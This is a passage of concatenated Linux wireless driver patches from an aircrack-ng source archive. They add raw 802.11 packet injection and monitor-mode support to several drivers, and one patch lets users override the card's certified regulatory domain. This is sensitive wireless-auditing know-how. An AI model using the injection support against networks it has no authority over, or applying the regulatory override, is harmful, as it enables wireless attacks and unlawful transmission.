ZD_RX_CRC32_ERROR)) { stats.flag |= RX_FLAG_FAILED_FCS_CRC; @@ -983,7 +989,8 @@ stats.freq = zd_channels[_zd_chip_get_channel(&mac->chip) - 1].center_freq; stats.band = IEEE80211_BAND_2GHZ; stats.signal = zd_check_signal(hw, status->signal_strength); - + stats.signal = stats.signal - 90; + rate = zd_rx_rate(buffer, status); /* todo: return index in the big switches in zd_rx_rate instead */ @@ -1312,7 +1319,7 @@ hw->wiphy->bands[IEEE80211_BAND_2GHZ] = &mac->band; hw->flags = IEEE80211_HW_RX_INCLUDES_FCS | - IEEE80211_HW_SIGNAL_UNSPEC | + IEEE80211_HW_SIGNAL_DBM | IEEE80211_HW_HOST_BROADCAST_PS_BUFFERING | IEEE80211_HW_MFP_CAPABLE; hw->wiphy->interface_modes = aircrack-ng-1.2-beta3/patches/channel-negative-one-maxim.patch0000644000000000000000000000177511437045700023012 0ustar rootrootcommit fffd6e63ea75850dafbf2ccfb38a4189f43c0282 Author: Maxim Levitsky Date: Tue Jun 1 15:43:21 2010 +0300 wireless: allow to retrieve the channel set on monitor interface This will allow to preserve compatibility with userspace Signed-off-by: Maxim Levitsky diff --git a/net/wireless/chan.c b/net/wireless/chan.c index b01a6f6..09d979b 100644 --- a/net/wireless/chan.c +++ b/net/wireless/chan.c @@ -49,9 +49,12 @@ int cfg80211_set_freq(struct cfg80211_registered_device *rdev, { struct ieee80211_channel *chan; int result; + struct wireless_dev *mon_dev = NULL; - if (wdev && wdev->iftype == NL80211_IFTYPE_MONITOR) + if (wdev && wdev->iftype == NL80211_IFTYPE_MONITOR) { + mon_dev = wdev; wdev = NULL; + } if (wdev) { ASSERT_WDEV_LOCK(wdev); @@ -76,5 +79,8 @@ int cfg80211_set_freq(struct cfg80211_registered_device *rdev, if (wdev) wdev->channel = chan; + if (mon_dev) + mon_dev->channel = chan; + return 0; } aircrack-ng-1.2-beta3/patches/mac80211_2.6.28-rc8-wl_frag+ack_radiotap.patch0000644000000000000000000000576711121505706024413 0ustar rootrootdiff --git a/include/net/ieee80211_radiotap.h b/include/net/ieee80211_radiotap.h index d364fd5..4e28c0c 100644 --- a/include/net/ieee80211_radiotap.h +++ b/include/net/ieee80211_radiotap.h @@ -247,6 +247,9 @@ enum ieee80211_radiotap_type { * retries */ #define IEEE80211_RADIOTAP_F_TX_CTS 0x0002 /* used cts 'protection' */ #define IEEE80211_RADIOTAP_F_TX_RTS 0x0004 /* used rts/cts handshake */ +#define IEEE80211_RADIOTAP_F_TX_NOACK 0x0008 /* frame should not be ACKed */ +#define IEEE80211_RADIOTAP_F_TX_NOSEQ 0x0010 /* sequence number handled + * by userspace */ /* Ugly macro to convert literal channel numbers into their mhz equivalents * There are certianly some conditions that will break this (like feeding it '30') diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 22702e7..b397aed 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -609,6 +609,10 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) u8 *qc; int tid; + if (unlikely(!(info->flags & IEEE80211_TX_CTL_ASSIGN_SEQ))) + return TX_CONTINUE; + info->flags &= ~IEEE80211_TX_CTL_ASSIGN_SEQ; + /* * Packet injection may want to control the sequence * number, if we have no matching interface then we @@ -867,6 +871,7 @@ __ieee80211_parse_tx_radiotap(struct ieee80211_tx_data *tx, struct ieee80211_radiotap_header *rthdr = (struct ieee80211_radiotap_header *) skb->data; struct ieee80211_supported_band *sband; + struct ieee80211_tx_info *info = IEEE80211_SKB_CB(tx->skb); int ret = ieee80211_radiotap_iterator_init(&iterator, rthdr, skb->len); sband = tx->local->hw.wiphy->bands[tx->channel->band]; @@ -913,6 +918,12 @@ __ieee80211_parse_tx_radiotap(struct ieee80211_tx_data *tx, if (*iterator.this_arg & IEEE80211_RADIOTAP_F_FRAG) tx->flags |= IEEE80211_TX_FRAGMENTED; break; + case IEEE80211_RADIOTAP_TX_FLAGS: + if (*iterator.this_arg & IEEE80211_RADIOTAP_F_TX_NOACK) + info->flags |= IEEE80211_TX_CTL_NO_ACK; + if (*iterator.this_arg & IEEE80211_RADIOTAP_F_TX_NOSEQ) + info->flags &= ~IEEE80211_TX_CTL_ASSIGN_SEQ; + break; /* * Please update the file @@ -965,6 +976,8 @@ __ieee80211_tx_prepare(struct ieee80211_tx_data *tx, * it will be cleared/left by radiotap as desired. */ tx->flags |= IEEE80211_TX_FRAGMENTED; + /* Same here, controlled by radiotap and the stack */ + info->flags |= IEEE80211_TX_CTL_ASSIGN_SEQ; /* process and remove the injection radiotap header */ sdata = IEEE80211_DEV_TO_SUB_IF(dev); @@ -992,13 +1005,10 @@ __ieee80211_tx_prepare(struct ieee80211_tx_data *tx, info->flags |= IEEE80211_TX_CTL_AMPDU; } - if (is_multicast_ether_addr(hdr->addr1)) { - tx->flags &= ~IEEE80211_TX_UNICAST; + if (is_multicast_ether_addr(hdr->addr1)) info->flags |= IEEE80211_TX_CTL_NO_ACK; - } else { + else tx->flags |= IEEE80211_TX_UNICAST; - info->flags &= ~IEEE80211_TX_CTL_NO_ACK; - } if (tx->flags & IEEE80211_TX_FRAGMENTED) { if ((tx->flags & IEEE80211_TX_UNICAST) && aircrack-ng-1.2-beta3/patches/ar9170_regdomain_override.patch0000644000000000000000000000262411324503527022554 0ustar rootrootPaulFertser> Get _your_ country code from regd.h, add 32768 and supply as a parameter. fercerpav@gmail.com --- linux-2.6.32-gentoo-r1-orig/drivers/net/wireless/ath/ar9170/main.c 2009-12-03 06:51:21.000000000 +0300 +++ linux-2.6.32-gentoo-r1/drivers/net/wireless/ath/ar9170/main.c 2010-01-16 02:20:36.000000000 +0300 @@ -53,6 +53,11 @@ module_param_named(ht, modparam_ht, bool, S_IRUGO); MODULE_PARM_DESC(ht, "enable MPDU aggregation."); +static int modparam_override_eeprom_regdomain = -1; +module_param_named(override_eeprom_regdomain, + modparam_override_eeprom_regdomain, int, S_IRUGO); +MODULE_PARM_DESC(override_eeprom_regdomain, "Override regdomain hardcoded in EEPROM with this value (DANGEROUS)."); + #define RATE(_bitrate, _hw_rate, _txpidx, _flags) { \ .bitrate = (_bitrate), \ .flags = (_flags), \ @@ -2687,6 +2692,14 @@ if (err) goto err_out; + if (modparam_override_eeprom_regdomain != -1) { + dev_err(pdev, "DANGER! You're overriding EEPROM-defined regulatory domain.\n"); + dev_err(pdev, "Your card was not certified to operate on the domain you choosed.\n"); + dev_err(pdev, "This might result in a violation of your local regulatory rules.\n"); + dev_err(pdev, "Do not ever do that unless you really know what you do!\n"); + regulatory->current_rd = modparam_override_eeprom_regdomain; + } + err = ath_regd_init(regulatory, ar->hw->wiphy, ar9170_reg_notifier); if (err) aircrack-ng-1.2-beta3/patches/mac80211_2.6.27_frag+ack.patch0000644000000000000000000000110011125212333021361 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 0855cac..221bed6 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -630,6 +630,13 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) int tid; /* only for injected frames */ + if (unlikely(info->flags & IEEE80211_TX_CTL_INJECTED) && + !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES)) { + if (!ieee80211_has_morefrags(hdr->frame_control)) + info->flags |= IEEE80211_TX_CTL_NO_ACK; + return TX_CONTINUE; + } + if (unlikely(ieee80211_is_ctl(hdr->frame_control))) return TX_CONTINUE; aircrack-ng-1.2-beta3/patches/rt73_2.6.27.patch0000644000000000000000000001053511050372022017306 0ustar rootrootdiff -Naur rt73-k2wrlz-3.0.1/Module/rtmp_info.c rt73-k2wrlz-3.0.1_rawtx/Module/rtmp_info.c --- rt73-k2wrlz-3.0.1/Module/rtmp_info.c 2008-07-24 02:05:27.000000000 +0200 +++ rt73-k2wrlz-3.0.1_rawtx/Module/rtmp_info.c 2008-08-12 22:30:20.000000000 +0200 @@ -682,7 +682,11 @@ memcpy(iwe.u.ap_addr.sa_data, &pAdapter->ScanTab.BssEntry[i].Bssid, ETH_ALEN); previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_event(info, current_ev,end_buf, &iwe, IW_EV_ADDR_LEN); +#else current_ev = iwe_stream_add_event(current_ev,end_buf, &iwe, IW_EV_ADDR_LEN); +#endif if (current_ev == previous_ev) break; @@ -694,7 +698,11 @@ iwe.u.data.flags = 1; previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_point(info, current_ev,end_buf, &iwe, pAdapter->ScanTab.BssEntry[i].Ssid); +#else current_ev = iwe_stream_add_point(current_ev,end_buf, &iwe, pAdapter->ScanTab.BssEntry[i].Ssid); +#endif if (current_ev == previous_ev) break; @@ -717,7 +725,11 @@ iwe.len = IW_EV_UINT_LEN; previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_event(info, current_ev, end_buf, &iwe, IW_EV_UINT_LEN); +#else current_ev = iwe_stream_add_event(current_ev, end_buf, &iwe, IW_EV_UINT_LEN); +#endif if (current_ev == previous_ev) break; @@ -733,7 +745,11 @@ iwe.u.freq.i = 0; previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_event(info, current_ev,end_buf, &iwe, IW_EV_FREQ_LEN); +#else current_ev = iwe_stream_add_event(current_ev,end_buf, &iwe, IW_EV_FREQ_LEN); +#endif if (current_ev == previous_ev) break; @@ -747,7 +763,11 @@ iwe.u.data.flags = IW_ENCODE_DISABLED; previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_point(info, current_ev, end_buf,&iwe, (char *)pAdapter->SharedKey[(iwe.u.data.flags & IW_ENCODE_INDEX)-1].Key); +#else current_ev = iwe_stream_add_point(current_ev, end_buf,&iwe, (char *)pAdapter->SharedKey[(iwe.u.data.flags & IW_ENCODE_INDEX)-1].Key); +#endif if (current_ev == previous_ev) break; @@ -762,9 +782,15 @@ { iwe.u.bitrate.value = RateIdToMbps[pAdapter->ScanTab.BssEntry[i].SupRate[i]/2] * 1000000; iwe.u.bitrate.disabled = 0; +#if WIRELESS_EXT >= 22 + current_val = iwe_stream_add_value(info, current_ev, + current_val, end_buf, &iwe, + IW_EV_PARAM_LEN); +#else current_val = iwe_stream_add_value(current_ev, current_val, end_buf, &iwe, IW_EV_PARAM_LEN); +#endif } @@ -817,9 +843,15 @@ } iwe.u.bitrate.value = max_rate * 500000; iwe.u.bitrate.disabled = 0; +#if WIRELESS_EXT >= 22 + current_val = iwe_stream_add_value(info, current_ev, + current_val, end_buf, &iwe, + IW_EV_PARAM_LEN); +#else current_val = iwe_stream_add_value(current_ev, current_val, end_buf, &iwe, IW_EV_PARAM_LEN); +#endif if((current_val-current_ev)>IW_EV_LCP_LEN) current_ev = current_val; else @@ -833,7 +865,11 @@ if (iwe.u.data.length) { previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_point(info, current_ev, end_buf, &iwe, custom); +#else current_ev = iwe_stream_add_point(current_ev, end_buf, &iwe, custom); +#endif if (current_ev == previous_ev) break; } @@ -844,7 +880,11 @@ set_quality(pAdapter, &iwe.u.qual, pAdapter->ScanTab.BssEntry[i].Rssi); previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_event(info, current_ev, end_buf, &iwe, IW_EV_QUAL_LEN); +#else current_ev = iwe_stream_add_event(current_ev, end_buf, &iwe, IW_EV_QUAL_LEN); +#endif if (current_ev == previous_ev) break; @@ -859,7 +899,11 @@ if (iwe.u.data.length) { previous_ev = current_ev; +#if WIRELESS_EXT >= 22 + current_ev = iwe_stream_add_point(info, current_ev, end_buf, &iwe, custom); +#else current_ev = iwe_stream_add_point(current_ev, end_buf, &iwe, custom); +#endif if (current_ev == previous_ev) break; } @@ -5703,7 +5747,7 @@ //UCHAR TmpPhy = pAd->PortCfg.PhyMode; //pAd->PortCfg.PhyMode = 0xff; //RTMPSetPhyMode(pAd, TmpPhy); - + } sprintf(msg+strlen(msg), "\n\nChannel | Tx Power\n-------------------\n"); aircrack-ng-1.2-beta3/patches/mac80211_2.6.26-wl_frag.patch0000644000000000000000000000113211037473530021265 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 2b912cf..aaa086f 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -636,6 +636,11 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) if (ieee80211_hdrlen(hdr->frame_control) < 24) return TX_CONTINUE; + if (unlikely((info->flags & IEEE80211_TX_CTL_INJECTED) && + (tx->sdata->vif.type == IEEE80211_IF_TYPE_MNTR) && + !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) + return TX_CONTINUE; + if (!ieee80211_is_data_qos(hdr->frame_control)) { info->flags |= IEEE80211_TX_CTL_ASSIGN_SEQ; return TX_CONTINUE; aircrack-ng-1.2-beta3/patches/rt2570-k2wrlz-1.6.1_2.6.24.patch0000644000000000000000000000355711031124735021354 0ustar rootrootdiff -Naur rt2570-k2wrlz-1.6.1/Module/rtusb_main.c rt2570-k2wrlz-1.6.1-24/Module/rtusb_main.c --- rt2570-k2wrlz-1.6.1/Module/rtusb_main.c 2007-07-05 18:41:51.000000000 +0200 +++ rt2570-k2wrlz-1.6.1-24/Module/rtusb_main.c 2008-06-27 10:48:28.000000000 +0200 @@ -1629,7 +1629,9 @@ netif_stop_queue(netdev); pAdapter->config = dev->config; pAdapter->usb = dev; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(pAdapter->net); +#endif ether_setup(pAdapter->net); #if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,0) SET_ETHTOOL_OPS(net_dev, &rt2x00_ethtool_ops); @@ -1650,7 +1652,9 @@ pAdapter->net->hard_header_len = 14; pAdapter->net->mtu = 1500; pAdapter->net->addr_len = 6; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) pAdapter->net->weight = 64; +#endif pAdapter->MediaState = NdisMediaStateDisconnected; {// find available @@ -1961,7 +1965,9 @@ netif_stop_queue(netdev); pAdapter->config = &dev->config->desc; pAdapter->usb = dev; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(pAdapter->net); +#endif ether_setup(pAdapter->net); netdev->open = usb_rtusb_open; netdev->stop = usb_rtusb_close; @@ -1981,7 +1987,9 @@ pAdapter->net->hard_header_len = 14; pAdapter->net->mtu = 1500; pAdapter->net->addr_len = 6; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) pAdapter->net->weight = 64; +#endif pAdapter->MediaState = NdisMediaStateDisconnected; #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 5, 0) pAdapter->MLMEThr_pid= -1; @@ -2011,8 +2019,11 @@ for (i = 0; i < 8; i++) { sprintf(slot_name, pAdapter->net->name, i); - +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,24)) + for (device = first_net_device(&init_net); device != NULL; +#else for (device = first_net_device(); device != NULL; +#endif device = next_net_device(device)) { if (strncmp(device->name, slot_name, IFNAMSIZ) == 0) aircrack-ng-1.2-beta3/patches/mac80211_2.6.26_frag.patch0000644000000000000000000000072511041670244020650 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index f35eaea..e5e8483 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -292,6 +292,9 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) { struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)tx->skb->data; + if (unlikely(tx->flags & IEEE80211_TX_INJECTED)) + return TX_CONTINUE; + if (ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_control)) >= 24) ieee80211_include_sequence(tx->sdata, hdr); aircrack-ng-1.2-beta3/patches/linux-wlanng-0.2.8.patch0000644000000000000000000003146010761053203020766 0ustar rootrootdiff -ur linux-wlan-ng-0.2.8/src/p80211/p80211netdev.c linux-wlan-ng-0.2.8-patched/src/p80211/p80211netdev.c --- linux-wlan-ng-0.2.8/src/p80211/p80211netdev.c 2007-03-19 16:37:00.000000000 +0100 +++ linux-wlan-ng-0.2.8-patched/src/p80211/p80211netdev.c 2007-05-19 13:57:58.000000000 +0200 @@ -511,7 +511,7 @@ * and return success . * TODO: we need a saner way to handle this */ - if(skb->protocol != ETH_P_80211_RAW) { + if(skb->protocol != htons(ETH_P_80211_RAW)) { p80211netdev_start_queue(wlandev); WLAN_LOG_NOTICE( "Tx attempt prior to association, frame dropped.\n"); @@ -523,7 +523,7 @@ } /* Check for raw transmits */ - if(skb->protocol == ETH_P_80211_RAW) { + if(skb->protocol == htons(ETH_P_80211_RAW)) { if (!capable(CAP_NET_ADMIN)) { result = 1; goto failed; @@ -951,8 +951,9 @@ dev->set_mac_address = p80211knetdev_set_mac_address; #endif #ifdef HAVE_TX_TIMEOUT - dev->tx_timeout = &p80211knetdev_tx_timeout; - dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; +// korek: still not implemented +// dev->tx_timeout = &p80211knetdev_tx_timeout; +// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; #endif netif_carrier_off(dev); } diff -ur linux-wlan-ng-0.2.8/src/prism2/driver/hfa384x.c linux-wlan-ng-0.2.8-patched/src/prism2/driver/hfa384x.c --- linux-wlan-ng-0.2.8/src/prism2/driver/hfa384x.c 2007-03-19 16:37:00.000000000 +0100 +++ linux-wlan-ng-0.2.8-patched/src/prism2/driver/hfa384x.c 2007-05-19 13:57:58.000000000 +0200 @@ -1873,8 +1873,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3114,12 +3122,33 @@ #endif /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - txdesc.data_len = host2hfa384x_16(skb->len+8); - // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - } else { - txdesc.data_len = host2hfa384x_16(skb->len); - } +// if (p80211_wep->data) { +// txdesc.data_len = host2hfa384x_16(skb->len+8); +// // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// } else { +// txdesc.data_len = host2hfa384x_16(skb->len); +// } + + if (skb->protocol != htons(ETH_P_80211_RAW)) { + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + txdesc.data_len = host2hfa384x_16(skb->len+8); + // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + } else { + txdesc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(txdesc.data_len), skb->data, 16); + skb_pull(skb,16); + if (txdesc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + + txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + } txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); /* copy the header over to the txdesc */ @@ -3142,7 +3171,8 @@ spin_lock(&hw->cmdlock); /* Copy descriptor+payload to FID */ - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, &txdesc, sizeof(txdesc), p80211_wep->iv, sizeof(p80211_wep->iv), @@ -3587,6 +3617,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(rxdesc.status) ) { case 0: + + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { + hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } fc = ieee2host16(rxdesc.frame_control); Only in linux-wlan-ng-0.2.8-patched/src/prism2/driver: hfa384x.c.orig diff -ur linux-wlan-ng-0.2.8/src/prism2/driver/hfa384x_usb.c linux-wlan-ng-0.2.8-patched/src/prism2/driver/hfa384x_usb.c --- linux-wlan-ng-0.2.8/src/prism2/driver/hfa384x_usb.c 2007-03-19 16:37:00.000000000 +0100 +++ linux-wlan-ng-0.2.8-patched/src/prism2/driver/hfa384x_usb.c 2007-05-19 13:57:58.000000000 +0200 @@ -1430,8 +1430,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); + // cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + // HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3431,37 +3439,71 @@ HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - hw->txbuff.txfrm.desc.tx_control = - host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - - /* copy the header over to the txdesc */ - memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + // hw->txbuff.txfrm.desc.tx_control = + // host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); - // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - usbpktlen+=8; - } else { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + // /* copy the header over to the txdesc */ + // memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + if (skb->protocol != htons(ETH_P_80211_RAW)) { + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); + + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + usbpktlen+=8; + } else { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); + skb_pull(skb,16); + if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + // /* if we're using host WEP, increase size by IV+ICV */ + // if (p80211_wep->data) { + // hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + // usbpktlen+=8; + // } else { + // hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); } usbpktlen += skb->len; /* copy over the WEP IV if we are using host WEP */ ptr = hw->txbuff.txfrm.data; - if (p80211_wep->data) { + // if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); ptr+= sizeof(p80211_wep->iv); memcpy(ptr, p80211_wep->data, skb->len); } else { memcpy(ptr, skb->data, skb->len); } + /* copy over the packet data */ ptr+= skb->len; /* copy over the WEP ICV if we are using host WEP */ - if (p80211_wep->data) { + // if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); } @@ -4223,6 +4265,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status) ) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { + hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(usbin->rxfrm.desc.frame_control); /* If exclude and we receive an unencrypted, drop it */ Only in linux-wlan-ng-0.2.8-patched/src/prism2/driver: hfa384x_usb.c.orig diff -ur linux-wlan-ng-0.2.8/src/prism2/driver/prism2mgmt.c linux-wlan-ng-0.2.8-patched/src/prism2/driver/prism2mgmt.c --- linux-wlan-ng-0.2.8/src/prism2/driver/prism2mgmt.c 2007-01-30 19:12:42.000000000 +0100 +++ linux-wlan-ng-0.2.8-patched/src/prism2/driver/prism2mgmt.c 2007-05-19 13:57:58.000000000 +0200 @@ -2860,9 +2860,12 @@ } /* Now if we're already sniffing, we can skip the rest */ - if (wlandev->netdev->type != ARPHRD_ETHER) { + // if (wlandev->netdev->type != ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { /* Set the port type to pIbss */ - word = HFA384x_PORTTYPE_PSUEDOIBSS; + // word = HFA384x_PORTTYPE_PSUEDOIBSS; + word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFPORTTYPE, word); if ( result ) { @@ -2874,6 +2877,8 @@ } if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { /* Set the wepflags for no decryption */ + /* doesn't work - done from the CLI */ + /* Fix? KoreK */ word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | HFA384x_WEPFLAGS_DISABLE_RXCRYPT; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); @@ -2919,7 +2924,9 @@ goto failed; } - if (wlandev->netdev->type == ARPHRD_ETHER) { + // if (wlandev->netdev->type == ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { WLAN_LOG_INFO("monitor mode enabled\n"); } diff -ur linux-wlan-ng-0.2.8/src/prism2/driver/prism2sta.c linux-wlan-ng-0.2.8-patched/src/prism2/driver/prism2sta.c --- linux-wlan-ng-0.2.8/src/prism2/driver/prism2sta.c 2007-03-19 16:37:00.000000000 +0100 +++ linux-wlan-ng-0.2.8-patched/src/prism2/driver/prism2sta.c 2007-05-19 13:57:58.000000000 +0200 @@ -411,7 +411,9 @@ DBFENTER; /* If necessary, set the 802.11 WEP bit */ - if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + // if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) + && (skb->protocol != htons(ETH_P_80211_RAW))) { p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); } Only in linux-wlan-ng-0.2.8-patched/src/prism2/driver: prism2sta.c.orig aircrack-ng-1.2-beta3/patches/ipw2200-1.1.4-inject.patch0000644000000000000000000000575711526071234020732 0ustar rootrootdiff -ur ipw2200-1.1.4/ipw2200.c ipw2200-1.1.4-inject/ipw2200.c --- ipw2200-1.1.4/ipw2200.c 2006-08-21 04:38:32.000000000 +0200 +++ ipw2200-1.1.4-inject/ipw2200.c 2006-08-23 14:20:31.000000000 +0200 @@ -30,6 +30,8 @@ ******************************************************************************/ +#include + #include "ipw2200.h" @@ -1945,6 +1945,66 @@ static DEVICE_ATTR(net_stats, S_IWUSR | S_IRUGO, show_net_stats, store_net_stats); +static int 